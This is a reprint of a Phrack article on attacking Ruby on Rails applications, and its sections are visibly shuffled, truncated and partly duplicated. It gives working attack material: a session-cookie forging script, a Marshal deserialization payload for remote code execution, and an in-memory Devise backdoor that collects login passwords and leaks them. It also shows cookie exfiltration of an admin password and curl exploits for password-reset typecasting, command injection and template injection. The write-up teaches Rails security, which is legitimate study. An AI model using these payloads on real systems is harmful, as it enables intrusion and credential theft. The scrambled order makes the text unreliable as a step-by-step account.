ftp://distro

Written by joernchen of Phenoelit
joernchen@phenoelit.de
https://phrack.org/issues/69/1.html

Blog:
https://ftpdistro.noblogs.org
Twitter:
https://twitter.com/ftpdistro
Instagram:
https://instagram.com/ftp.distro
Store:
https://ftpdistro.github.io

Attacking Ruby on 

Applications

Phrack issue #69
by joernchen of Phenoelit

==Phrack Inc.==

Volume 0x0f, Issue 0x45, Phile #0x0c of 0x10

--[Table of contents

--[0 - Intro

This little article aims to give an introduction to the topic of attacking Ruby on Rails applications. It's neither complete nor dropping 0day. It's rather the authors attempt to accumulate the interesting attack paths and techniques in one write up. As yours truly spend most of his work on Ruby on Rails applications in the time when Rails version 3 was current, some of the described techniques are not applicable to Rails 4 any more. However there is still a broad attack surface of older applications as migrating Rails code up one or two version appears to be a real pain in the ass for larger projects (if you doubt this ask your local Rails startup peeps :)).

--[0.1 - About The Zine

The issue of Phrack that this was published in was initially realeased in 2016, thus making this (sort of) dated information. However, there are still similar exploits that have been found more recently, such as CVE-2019-5418 & CVE-2019-11027 --- both affect Rails applications. This zine explores ways to think about the attack process itself. We will leave a 0bin link with youtube tutorials related to this zine.

https://paste.ec/paste/kzfRUSBY#EHDcaFb04v5X6tZczl+zRhAo1gRpf9zv0GVpR6-NVIH

Happy hacking!

-ftp distro

--[1 - A Brief Overview

Basically Ruby on Rails [0] is a Model-View-Controller (MVC) based web application framework. It's overloaded with functionality, and this functionality is what at the end of the day introduces the fine bugs we all are looking for.

MVC is a software design pattern, which just says roughly the following:

The model is where the data lives, along with the business logic. So the model is an abstraction to the database. The view is what you see, like the HTML templates which get rendered. The controller itself is, what you interact with. It takes requests and decides upon them what to do with the data which were submitted.

This architecture is reflected in Rails on the file system, a sample application's directory structure would look like this:

```
.
|-- app                  |here lives the applications
main code
|   |-- assets
|   |   |-- images
|   |   |-- javascripts
|   |   `-- stylesheets
|   |-- controllers      |here live the controllers
|   |-- helpers
|   |-- mailers
|   |-- models           |this is where the models
live
|   `-- views            |and finally here are the
views
|       `-- layouts
|-- config               |yummy config files
|   |-- environments
|   |-- initializers
```

```
|   `-- locales
|-- db
|-- doc
|-- lib                    |more code
|   |-- assets
|   `-- tasks
|-- log
|-- public                 |static content
|-- script
|-- test                   | /* */
|   |-- fixtures
|   |-- functional
|   |-- integration
|   |-- performance
|   `-- unit
|-- tmp
|   `-- cache
|       `-- assets
`-- vendor
    |-- assets
    |   |-- javascripts
    |   `-- stylesheets
    `-- plugins            |here might be bugs too
```

The point of first attention here is the ./app/ directory, this is where controllers, models and views live.

It has to be noted that the MVC design pattern, even tough it's implied by the filesystem layout of a fresh Rails application, is not enforced by Ruby on Rails in any way. For instance a developer might just put parts of the business logic into the view instead of into the model.

--[1.1 - User input

The following sub-sections will cover the various kinds of user input a Rails application will understand and parse. The most prominent input vector

--[5 - Greetz and <3

In no particular order:

astera, greg (thx for kicking my ass), FX, nowin, fabs, opti, tina, matteng, RL, HDM, charliesome, both Bens (M. and T.), larry0 (Gemkiller).

The award for endless patience with this little writeup goes to the Phrack Staff obviously ;).

--[A - References

[0] http://rubyonrails.org
[1] https://github.com/rails/rails/commit/
      c9909db9f2f81575ef2ea2ed3b4e8743c8d6f1b9
[3] http://www.phenoelit.org/stuff/ffcrm.txt
[4] https://github.com/rapid7/metasploit-framework/
blob/master/modules/
      exploits/multi/http/spree_searchlogic_exec.rb
[5] https://www.blackhat.com/latestintel/04302014-
poc-in-the-cfp.html
[6] https://groups.google.com/group/rubyonrails-
security/browse_thread/
      thread/64e747e461f98c25
[7] https://github.com/rails/rails/commit/
      921a296a3390192a71abeec6d9a035cc6d1865c8
[8] https://github.com/joernchen/DeviseDoor

The above code, when RCEd into a Ruby on Rails application using devise will introduce two filters in the apps login Controller, one filter called logallthepasswords which keeps every password and username in memory upon login. Secondly the leakallthepasswords filter will dump those passwords upon seeing a specific session id and flush them from memory.

Key takeaway here (which does not only apply to RoR applications) is actually the fact that we can model our own little application within some target app pretty much freely when using eval() or session cookie based RCE payloads. Another fun fact about this is the circumstance that the payload will reside in memory. Once the app is shut down your payload is gone. And by giving up the persistence we will pretty likely win against the forensics guy.

for a Rails application is usually the params hash, which is described in detail below.

--[1.1.1 - POST/PUT/GET application/x-www-form-urlencoded

The params hash (hash is Ruby slang for an associative array) holds the request parameters in Rails. So parameters that are POSTed like this:

```
username=hacker&password=happy
```

will yield a params hash like the following:

```
params = {"username"=>"hacker","password"=>"happy"}
```

Lots of magic is involved within Rails' parameter parsing. POST parameters encoded as application/x-www-form-urlencoded or regular GET parameters can encode arrays like this:

```
user[]=Phrack&user[]=rulez
```

The resulting params hash is in this case:

```
params {"user" => ["Phrack","rulez"]}
```

Encoding sub-hashes in the params hash is also possible:

```
user[name]=hacker&user[password]=happy
```

The above will result in params being the following:

```
params =
{"user"=>{"name"=>"hacker","password"=>"happy"}}
```

Besides strings with the basic GET/POST parameters it is also possible to encode a Ruby nil value in this way:

```
  user[name]
```

by leaving out the = and a value the resulting hash looks like:

```
  params = {"user"=>{"name"=>nil}}
```

--[1.1.2 - Multiparameter attributes

When a single parameter has to carry multiple values in one attribute those can be encoded in simple POST and GET requests as well. Those so called multiparameters look like the following:

```
user[mulitparam(1)]=first_val&user[mulitparam(2)]=seco
nd_val&[...]
  &user[mulitparam(n)]=nth_val
```

Also valid is a multiparameter assignment with a single parameter like:

```
  user[name(1)]=HappyHacker
```

Internally the values (1)..(n) will be converted into an array and this array will be assigned to the attribute. This is rarely to be seen in real world code, however useful for instance when it comes to e.g. timestamps:

```
  post[date(1)]=1985&post[date(2)]=11&post[date(3)]=17
```

Where the above example would assign year, month and day of the post[date] parameter in a multiparameter attribute called date.

--[1.1.3 - POST/PUT text/xml

Besides the usual POST/PUT parameters Rails typically also understands XML input. This however was removed

actual to-be-evaluated payload:

```
Devise::SessionsController.class_eval <<DEVISE
@@passwordsgohere = []
@@target_model = nil
@@triggerword =
"22bce2630cb45cbff19490371d19a654b01ee537"
@@secret =
  "12IO0nCNPFhWz7a56rmhkiIQ8BOgbUw7yIYl+
+jYNkxAseBT3Q02N+CwShuqDBqY"
def logallthepasswords
  @@target_model= @@target_model ||
ActiveRecord::Base.subclasses.collect
{|c| c if
c.methods.include? :devise }.first.model_name.param_k
ey
  if params[@@target_model]
    @@passwordsgohere<< params[@@target_model]
  end
end
def leakallthepasswords
   keygen = ActiveSupport::KeyGenerator.new(@@secret,
{:iterations => 1337})
   enckey = keygen.generate_key('encrypted hacker')
   sigkey = keygen.generate_key('signed encrypted
hacker')
   crypter =
ActiveSupport::MessageEncryptor.new(enckey,
sigkey,{:serializer =>
ActiveSupport::MessageEncryptor::NullSerializer })
   if
Digest::SHA1.hexdigest(session["session_id"].to_s) ==
@@triggerword
     render :text =>
crypter.encrypt_and_sign(JSON.dump(@@passwordsgohere)
)
     @@passwordsgohere = []
   end
end
before_filter :logallthepasswords
before_filter :leakallthepasswords
DEVISE
```

--[4 - Notes on Code Injection Payloads

The wonderful world of Ruby on Rails gives us, in case of in-framework code injection, a lot of toys to play with. As the whole framework is available to the attacker its' whole featureset might be utilized. This starts with very simple but convenient things:

In 2.1 code execution via unmarshalling of the session cookie was elaborated. A very handy data exfiltration technique for small (<4K) amounts of data is using the session cookie itself to carry the exfiltrated data out [/* Eat this, WAF */].

The to-be-executed payload to use this technique would roughly be the following:

```
  lootit=<<WOOT
  a={} # This will end up as our session object
  a['loot'] =
User.find_by_email("admin@app.com").password # Guess
what :P
  a # return a as session hash
  WOOT
```

The above _string_ then is used in a cookie using the RCE technique from 2.1. If done all right the response to that cookie will contain another new cookie which contains a 'loot' key which has the value of the requested data.

Anything goes with Ruby: Imagine an app where the passwords are properly salted and hashed and streched and whatnot. In order to not waste any GPU time for breaking the precious hashes we could instead inject some code which re-writes the apps login controller in a way that it will first log out all users, and then log all the sent passwords in memory until they are fetched by defined request. A PoC for this technique against the devise authentication framework is shown in [8]. The main component of it is the

within the Rails 4 release [1].

With XML encoded parameters there are various typecasting possibilities. Here is an excerpt from the responsible parser (rails/activesupport/lib/active_support/xml_mini.rb):

```
  PARSING = {
    "symbol"       => Proc.new { |symbol|
symbol.to_sym },
    "date"         => Proc.new { |
date|    ::Date.parse(date) },
    "datetime"     => Proc.new { |
time|    ::Time.parse(time).utc rescue
      ::DateTime.parse(time).utc },
    "integer"      => Proc.new { |integer|
integer.to_i },
    "float"        => Proc.new { |float|
float.to_f },
    "decimal"      => Proc.new { |number|
BigDecimal(number) },
    "boolean"      => Proc.new { |boolean|
      %w(1 true).include?(boolean.strip) },
    "string"       => Proc.new { |string|
string.to_s },
    "yaml"         => Proc.new { |yaml|
YAML::load(yaml) rescue yaml },
    "base64Binary" => Proc.new { |bin|
      ActiveSupport::Base64.decode64(bin) },
    "binary"       => Proc.new { |bin, entity|
      _parse_binary(bin, entity) },
    "file"         => Proc.new { |file, entity|
_parse_file(file, entity) }
  }

  PARSING.update(
    "double"   => PARSING["float"],
    "dateTime" => PARSING["datetime"]
  )
```

So if a boolean value should be contained in a POSTed variable within the params hash, this XML POSTed with

Content-Type: text/xml will achieve it:

```
  <user>
    <admin type="boolean">true</admin>
  </user>
```

The params hash from the above POSTed XML would be:

```
  params = {"user"=>{"admin"=>true}}
```

At this point it has to be noted that the conversions for the types "symbol" and "yaml" have been blacklisted since CVE-2013-0156. This CVE is actually the most impactful on RoR. Due to YAML being able to create arbitrary Ruby objects it was possible to gain code execution with just a single POST request, pretty similar to the sessions issue described in 2.1. Symbols have been removed from the conversion simply due to the fact, that they won't get garbage collected a runtime, therefore being useful for e.g. memory exhaustion attacks.

There are two more supported types which are not listed above, they rather
are defined in
rails/activesupport/lib/active_support/core_ext/hash/conversions.rb. Those
two types are "hash" and "array". A hash is pretty simple to put up in XML.
It needs to be POSTed like this:

```
  <user>
    <name>hacker</name>
  </user>
```

The above XML will result in this hash:

```
  params = {"user"=>{"name"=>"hacker"}}
```

Arrays with typed XML are assembled together like the following:

```
  <a type="array">
```



```
{"token":0,"pass":"omghaxx","pass_confirm":"omghaxx"
}}'
```

This attack vector got addressed with a security announcement [6] which said it will be fixed somewhen later.

A little anecdote on this issue:

A couple of days after the advisory the issue was "fixed" in Rails 3.2.12 as by the following commit [7], no further advisory was released for this issue. The fix in 3.2.12 was first of all incomplete due to the fact that it was bypassable by POSTing an array of numbers instead of a single
number. Secondly Rails went back to the original behaviour with the release of 3.2.13.

Indeed the vector is completely fixed as of Rails 4.2 almost two years after the original advisory.

```
mysql> SELECT 123 FROM dual WHERE 1="somestring";
Empty set, 1 warning (0.00 sec)

mysql> SELECT 123 FROM dual WHERE 0="somestring";
+-----+
| 123 |
+-----+
| 123 |
+-----+
1 row in set, 1 warning (0.00 sec)
```

A pretty common technique for password resets in web applications is to send out a token via email to the user. This token lets the user reset the password right away.

In Ruby on Rails such a reset process would roughly look like this:

```
# PasswordController

def reset
  user = User.find_by_token(params[:user][:token])
  if user
    #reset password here
  end
end
```

Such a token like the one pulled out of params in the code above typically is a random string, for now let's just assume this string is "IAmARandomToken". Given the knowledge about the MySQL typecasting plus the facts about JSON/XML input described in section 1.1.3 & 1.1.4 we can conduct an actual attack on this pattern.

MySQL would match the string "IAmARandomToken" with the number 0 so a possible exploit would look like:

```
curl http://phrack.org/password/reset \
-H 'Content-Type: application/json' \
--data '{"user":
```



```
    <a>some value</a>
    <a>some other value</a>
  </a>
```

which will yield:

```
params = {"a"=>["some value","some other value"]}
```

Furthermore nil can be encoded this way

```
<a nil="true">
```

which results in this params hash:

```
{"a"=>nil}
```

--[1.1.4 - POST/PUT application/json

JSON input POSTed with the Content-Type of application/json can't encode as many object types as XML, but the following types are defined per the JSON specification:

* String
* Object (which will be a hash in Ruby)
* Number
* Array
* True
* False
* Null (which will be nil in Ruby)

Before the Rails patches for the CVEs 2013-0333 and 2013-0268 it was possible to encode arbitrary Objects in JSON, the details on CVE-2013-0333 will be discussed in section 3.3.

With a POST request containing the following JSON payload:

```
{"a":["string",1,true,false,null,{"hash":"value"}]}
```

a params hash of:

```
  params = {"a"=>["string", 1, true, false, nil,
{"hash"=>"value"}]}
```

will be generated.

--[1.1.5 - GET vs. POST/PUT

By default it's even possible to send application/json and text/xml typed parameters within a GET request, by simply issuing a GET request with an according Content-Type, a proper Content-Length as well as the actual request body. For instance:

```
  curl -X GET http://somerailsapp/ -H "Content-type:
application/json" \
  --data '{"a":"z"}'
```

Additional magic is buried in the _method parameter when used in a POST request.

For instance the following POST request will be interpreted as PUT:

```
   curl -X POST http://somerailsapp/?_method=PUT --
data 'somedata'
```

So setting _method in a POST request to a legal HTTP verb will let Rails interpret the POST as what _method is set to (GET,PUT, etc.).

--[3 - My favourite technique - CVE-2013-3221

This section is dedicated to my favourite RoR attack technique, which was
initially NOT addressed by issuing CVE-2013-3221.

The issue described in CVE-2013-3221 is a neat way to abuse MySQL's
automagic type conversion in order to e.g. reset arbitrary passwords within
some Ruby on Rails applications (including but not limited to the BlackHat
CFP Review System [5]).

Let's first have a look at MySQL and how it compares numbers to strings:

```
  mysql> SELECT 123 FROM dual WHERE 1=1;
  +-----+
  | 123 |
  +-----+
  | 123 |
  +-----+
  1 row in set (0.00 sec)

  mysql> SELECT 123 FROM dual WHERE 1="1";
  +-----+
  | 123 |
  +-----+
  | 123 |
  +-----+
  1 row in set (0.00 sec)

  mysql> SELECT 123 FROM dual WHERE 1="1somestring";
  +-----+
  | 123 |
  +-----+
  | 123 |
  +-----+
  1 row in set, 1 warning (0.00 sec)
```

```
[:get, :post]

This would expose every public method from every
Controller being
accessible both via GET and POST requests. The main
problem with such a
catch-all route is, that it completely subverts the
RoR CSRF protection,
as GET requests are assumed to be not state changing,
and therefore are
white-listed within the CSRF protection. So in the
above example with the
two given routes an attacker would just CSRF
something like:

  http://vict.im/user/add?
user[name]=haxx0r&user[password]=h4x0rp455&
    user[admin]=1

In order to subvert the CSRF protection which was
intended by the 'post' statement in the routes.
```


--[2 - Common pitfalls

With the knowledge of various ways to encode our mali^W well crafted input for a Rails application, let's have a look at patterns of "what could possibly go wrong?". This section will elaborate some of the nasty side effects introduced by rather common coding practices in Ruby on Rails. Of course it will also be explained how to use those side effects in order to extend the functionality of an affected application.

--[2.1 - Sessions

By default Rails stores the sessions client-side within a cookie. The whole session hash gets serialized (also encrypted in Rails 4) and HMACed (in Rails 3 and 4) in order to be tamper-resistant.

Since Rails 4.1 the format for serialization used is JSON encoding. Before that version it used to be Ruby's own serialization format called Marshal. Marshaled ruby objects look like this:

```
  irb(main):001:0> foo = ["Some funky string",{"a
hash"=>1337}]
  => ["Some funky string", {"a hash"=>1337}]
  irb(main):002:0> Marshal.dump foo
  => "\x04\b[\aI\"\x16Some funky
string\x06:\x06ET{\x06I\"\va
  hash\x06;\x00Ti\x029\x05"
```

It's basically a TLV serialization format, which can encode almost arbitrary Ruby Objects. The secret key to the HMAC/encryption might be stored in various locations depending on the Rails version it might be found in the following files:

* config/environment.rb
* config/initializers/secret_token.rb
* config/secrets.yml
* /proc/self/environ (if it's just given via an ENV

variable)

In rare cases it might be found somewhere completely different. But the best place to look for Rails cookie secrets is Open Source code checked into public repositories.

Once revealed to a curious hacker the cookie signing/encryption secret offers a broad amount of fun to have with it.

First of all session tampering is possible, as we are able to sign/encrypt arbitrary session data. Typically (when no special authentication GEMs are used) the user_id of the currently logged in user is serialized into the session. So it's pretty much a piece of cake to serialize the user_id of any other user into the cookie using the following simple script:

```
  #!/usr/bin/env ruby
  # Sign a cookie in RoR style (Rails Version <=3.x
only)
  require 'base64'
  require 'openssl'
  require 'optparse'

  banner = "Usage: #{$0} -k KEY [-c COOKIE]\n" +
    "Cookie is a raw ruby expression like '{:user_id
=> 1}'"

  hashtype = 'SHA1'
  key = nil
  cookie = {"user_id"=>1}

  opts = OptionParser.new do |opts|
    opts.banner = banner
    opts.on("-k", "--key KEY") do |h|
      key = h
    end
    opts.on("-c", "--cookie COOKIE") do |w|
      cookie = w
```



```
  render text: "Ohai World!"
```

If we are in the lucky postition to see something like this:

```
  render params[:t]
```

We are able to inject ERb content by supplying a parameter t of:

```
  t[inline]=<%=`id`%>

  curl 'localhost:3000/?&t\
[inline\]=%3c%25=%60id%60%25%3e'
```

This works due to the fact that the render statement takes a hash as argument which will be in the above case:

```
  inline: "<%=`id`%>"
```

Where the inline renderer expects an ERb string. Et voila here we go with user supplied code to be executed.

--[2.7 Routing

The file config/routes.rb describes which Controllers are reachable under
which path and HTTP verb, so for instance:

```
  post "user/add" => "users#add_user"
```

would expose the method add_user from the UsersController at the path
'/users/add' via a Post request. A common mistake however is a default
catch-all route like the following:

```
  match ':controller(/:action(/:id))(.:format)', via:
```

```
        render :text => `ping -c 4 #{params[:ip]}`
      else
        render :text => "Invalid IP"
      end
    end
  end
```

The developer's expectation is to match only numbers and dots within the above IP address validation. But due to the default multi line mode of Ruby's regular expression parser the above check can be circumvented by a string like "1.2.3.4.\nsomething". The $ in the above regex would stop at \n therefore the above code is command injectable with a simple request like this:

```
  $ curl localhost:3000/ping/ping -H "Content-Type:
application/json" \
  --data '{"ip" : "127.0.0.999\n id"}'
```

Instead of using ^ and $ \A and \z should be used to match the beginning and end of the string, rather than the beginning or end of the line.

Another common usecase of this RegEx behavior is the verification of user given links. So for instance the RegEx /^https?:\/\// is bypassable by supplying a link like:

```
  "javascript:alert('lol')/*\nhttp://*/" (note the
newline)
```

When this input is rendered into a href attribute of an anchor tag, we've gotten a straight froward Cross-Site Scripting.

--[2.6 Renderers

The render statement in RoR is used to render different templates or just plain text towards the users Browser like:


```
    end
  end

  begin
    opts.parse!(ARGV)
  rescue Exception => e
    puts e, "", opts
    exit
  end

  if key.nil?
    puts banner
    exit
  end

  cook =
Base64.strict_encode64(Marshal.dump(eval("#{cookie}"))
).chomp

  digest =
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(ha
shtype),
    key, cook)

  puts("#{cook}--#{digest}")
```

The secret_token is not only usable for session tampering, it can even be used for remote command execution. The following Ruby method will generate a code-executing session cookie (this is Rails 3 specific payload, but the same principle works with Rails 4 with slight modifications):

```
  def build_cookie
    code = "eval('whatever ruby code')"
    marshal_payload = Rex::Text.encode_base64(
      "\x04\x08" +
      "o" +
      ":
\x40ActiveSupport::Deprecation::DeprecatedInstanceVari
ableProxy" +
      "\x07" +
```

```
              ":\x0E@instance" +
                     "o" + ":\x08ERB" + "\x06" +
                            ":\x09@src" +

Marshal.dump(code)[2..-1] +
              ":\x0C@method" + ":\x0Bresult"
    ).chomp
    digest =
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("S
HA1"),
      SECRET_TOKEN, marshal_payload)
    marshal_payload =
Rex::Text.uri_encode(marshal_payload)
    "#{marshal_payload}--#{digest}"
  end
```

For details on the Rails 4 version and more convenient use of the vector the exploits/multi/http rails_secret_deserialization module in Metasploit is recommend reading/using.

The above code serializes an object in Rubys' Marshal format and then HMACs the serialized data. The object that is serialized is an instance of ActiveSupport::Deprecation::DeprecatedInstanceVariable Proxy which is defined as the following:

```
  class DeprecatedInstanceVariableProxy <
DeprecationProxy
    def initialize(instance, method, var =
"@#{method}",
        deprecator =
ActiveSupport::Deprecation.instance)
      @instance = instance
      @method = method
      @var = var
      @deprecator = deprecator
    end
    private
      def target
        @instance.__send__(@method)
      end
```


The proper way to prevent attributes from being automatically assigned within Rails 3.x would be the usage of attr_accessible to define which attributes are whitelisted for mass assignment.

--[2.5 - Regular Expressions

Ruby has a special handling of regular expressions, the regexps are matching by default in multi-line mode. This is not the case for instance in Perl or other programming languages.

To demonstrate this behavior compare the two command lines below:

```
  $ perl -e '$a="foo\nbar"; $a =~ /^foo$/ ? print
"match" : \
    print "no match"'
  no match

  $ ruby -e 'a="foo\nbar"; if a =~ /^foo$/; puts
"match"; \
    else puts "no match"; end'
  match
```

The string "foo\nbar" does not match the regular expression /^foo$/ in the Perl code snippet, it is matching in the Ruby code snippet.

The main problem with this regular expression handling is that quite a lot of developers are not aware of this subtle difference. This results in improper checks and validations. As an example the controller below comes close to what can be observed in real world code (the regex is somewhat simplified here):

```
  class PingController < ApplicationController
    def ping
      if params[:ip] =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.
\d{1,3}$/
```

app/controller/users_controller.rb:

```
  def update
    @user = User.find(params[:id])
    respond_to do |format|
      if @user.update_attributes(params[:user])
```

If the User model has e.g. an "admin" attribute any user might promote themselves to admin by just posting that attribute towards to the application.

A common malpractice which tries to prevent Mass Assignments is shown in the code sample below:

app/controller/users_controller.rb:

```
  def update
    @user = User.find(params[:id])
    params[:user].delete(:admin) # make sure to
protect admin flag
    respond_to do |format|
      if @user.update_attributes(params[:user])
      [...]
```

Within this controller and the usage of Multiparameter Attributes as introduced in section 1.4.2 we can bypass the params[:user].delete(:admin) sanitization as with the following payload:

```
  user[admin(1)]=true
```

As the multiparameter attribute gets parsed in user.update_attributes, the protection params[:user].delete(:admin) will not catch the user[admin(1)] attribute, allowing us to elevate our privileges. This is simply due to the fact that the parameter within the controller will be "admin(1)" as in contrast to "admin", the actual assignment of admin(1) to the admin flag happens in the update_attributes call.


```
      def warn(callstack, called, args)
        @deprecator.warn(
          "#{@var} is deprecated! Call
#{@method}.#{called} instead of " +
          "#{@var}.#{called}. Args:
#{args.inspect}", callstack)
      end
  end
```

DeprecatedInstanceVariableProxy again inherits from DeprecationProxy, which defines the following interesting method:

```
  def method_missing(called, *args, &block)
    warn caller, called, args
    target.__send__(called, *args, &block)
  end
```

as well as undefines some methods:

```
  instance_methods.each { |m| undef_method m
    unless m =~ /^__|^object_id$/ }
```

Inside this DeprecatedInstanceVariableProxy an ERB object is placed as A "instance", and "method" is set to "result". ERB stands for embedded Ruby and is in RoR to have HTML templates including Ruby code, so basically ERB is used for the views in a Rails application. The "src" variable for this ERB object is an arbitrary string of Ruby code. After deserialization and construction of the two nested objects the following will happen:

The above mentioned interesting method called method_missing is an expression of Ruby magic. When an object defines a method_missing this method will be called whenever a method on the object is called which does not exist (is missing).

As soon as any method on the deserialized object is called, this will be passed to "method_missing" as

(almost) all instance methods have been undefined. "method_missing" will now first call "warn" and afterwards call target which will send the method "result" to the ERB object. "result" will interpret and the code attached in the ERB object as "src".

The following irb snippet demonstrates this behavior:

```
  1.9.3p194 :001 > require 'rails/all'
   => true
  1.9.3p194 :002 > Marshal.load(

"\u0004\bo:@ActiveSupport::Deprecation::DeprecatedIns
tanceVariableProxy"+
  "\a:\u000E@instanceo:
\bERB\u0006:\t@srcI\"\u0018eval('puts \"ohai\"')"+
  "\u0006:\u0006ET:\f@method:\vresult")
  ohai
   => nil
```

Credits for the above technique go to Charlie Somerville.

Since Rails 4.1 this vector is not usable anymore, due to the fact that JSON encoding is used to serialize the session. Actually thats not entirely true, as there is of course backward compatibility for legacy session cookies. Those legacy cookies are taken into account if in a Rails App >= Version 4.1 a secret_token is defined together with the new secret_key_base. Or if there is only a secret_token but no secret_key_base, which might be the case if you upgrade your App from Rails 3.something to 4.1 or later. You can tell that you're dealing with a legacy cookie if the cookie value starts with "BAh" which Base64 decodes to the Marshal header.

If the session's secret is not known, there is still some room to fail, so for example let's say an appliance by BigVendor has a RoR Webinterface, and additionally stores the currently logged in users' ID in the session. Now the BigVendor has a little


```
  send(params[:a],params[:b])
```

Easy enough we can turn this into in-Framework RCE by supplying:

```
  a=eval&b=whatever%20ruby%20code%20we%20like
```

The main differences between the above listed methods are:

* send and __send__: none
* send and try: try is defined within Rails and just silently drops all
  exceptions which might occur
* public_send will only call public methods on an object

The limitation of public_send however can be bypassed as send itself is public:

```
  irb(main):002:0> "".public_methods.grep /send/
  => [:send, :public_send, :__send__]
```

The above construction of having at least two, and most importantly the first argument to __send__ under control however is rather rare. Mostly you will see the code like:

```
  Thing.send(:hard_coded_method_name,
params[someparam])
```

As the method to be called is hard coded we cannot leverage arbitrary code execution unfortunately.

--[2.4 - Mass assignments

Mass assignments were a pretty popular exploit target in Rails 3. The underlying concept is, that the application assigns arbitrary values of the model when being saved:

Things get a bit more interesting when it comes to RoR constructs which end up in eval()ing user input. Here, due to Rubys' endless possibilities of dynamic programming and monkey patching, things get a bit more interesting. Hints on how to utilize in-framework code execution are given in section 4.

With the following methods we can evalute nifty payloads within the apps' runtime/environment:

* eval
  within the current context
* instance_eval
  within the context of the current instance of a class
* class_eval
  within the context of a class itself

In occurrences of such in-framework evaluation of attacker-given inputs, we can pretty much redefine and access anything within the application.

--[2.3.3 Indirections

Another fun thing when it comes to monkey patching and dynamic (hooray!) programming are indirections introduced by calling one of the following methods on user input:

* send
* __send__
* public_send
* try

What send et.al. do is calling a method denoted by the first parameter, which might be a string or a symbol, and passing the further arguments to the called method.

So imagine (this is actually not too imaginary [4]) the following construct:

problem if the session secret is the same on all appliances. If user admin A of appliance A' has a session cookie for it's user_id 1 on A', it's a legit session cookie for appliance B' where admin B has user_id 1 as well (the ID is typically incremental starting from 1 and admin is usually created first). To paraphrase this: "What has been HMACed cannot be un-HMACED".

--[2.2 - to_json / to_xml

Within Rails the scaffolding process generates automatic XML and JSON renderers. Those include by default all attributes of the model. A neat showcase for this behavior is documented in [3] where a simple authenticated request of http://demo.fatfreecrm.com/users/1.json yielded
the following json output:


```
  {

    "user": {
        "admin": true,
        "aim": "",
        "alt_email": "",
        "company": "example",
        "created_at": "2012-02-12T02:00:00+02:00",
        "current_login_at": "2013-08-
26T22:12:05+03:00",
        "current_login_ip": "61.143.60.146",
        "deleted_at": null,
        "email": "aaron@example.com",
        "first_name": "Aaron",
        "google": "",
        "id": 1,
        "last_login_at": "2013-08-24T22:20:06+03:00",
        "last_login_ip": "122.173.185.99",
        "last_name": "Assembler",
        "last_request_at": "2013-08-
26T22:13:35+03:00",
        "login_count": 481,
```

```
        "mobile": "(800)555-1211",
        "password_hash": "[...]",
        "password_salt": "[...]",
        "perishable_token": "NE0n6wUCumVNdQ24ahRu",
        "persistence_token": "...",
        "phone": "(800)555-1210",
        "single_access_token":
"TarXlrOPfaokNOzls2U8",
        "skype": "ranzitreddy",
        "suspended_at": null,
        "title": "VP of Sales",
        "updated_at": "2013-08-26T22:13:35+03:00",
        "username": "aaron",
        "yahoo": ""
    }

  }
```

The format parameter could, depending on the actual app's routes be either just a appended .json/.xml or a query parameter "format=json"/"format=xml" within the URL.

In some rarely but seen in the wild cases there are even "format=js" renderes which yield vulnerabilities. Imagine a user's inbox at:

```
  http://some.host/inbox/messages
```

When here the JavaScript renderer emits e.g. JQuery framgents like:

```
  $("#messages").hmtl("here goes the user's inbox")
```

We just might include

```
   <script src="http://some.host/inbox/messages?
format=js"></script>
```

on a third party website and leak the users' inbox. This is pretty much the same concept like a JSONP leak.

--[2.3 - Code / Command Execution

Now off to the real fun: different ways to execute your code on other people's web servers.

--[2.3.1 - Classical OS Command Injection

The classical command injection patterns of course also apply to Ruby on Rails applications.

Things to watch out for include:

```
* `command`
* %x/command/
* IO.popen(command)
* Kernel.exec
* Kernel.system
* Kernel.open("| command")
```

This list is not complete in any way, as there are many other Rubygems implementing wrappers around those functions (also maybe I've just missed for instance open3 in this list). As the average Phrack reader should be pretty familiar with the concept of OS command injection flaws we do not bother to further elaborate on this type of issue ;P.

A little sidenote on Kernel.open(): when the first character in the argument to Kernel.open is a pipe, the method basically behaves like popen. And the rest of the string after the pipe is taken as a command line.

--[2.3.2 - eval(user_input) and Friends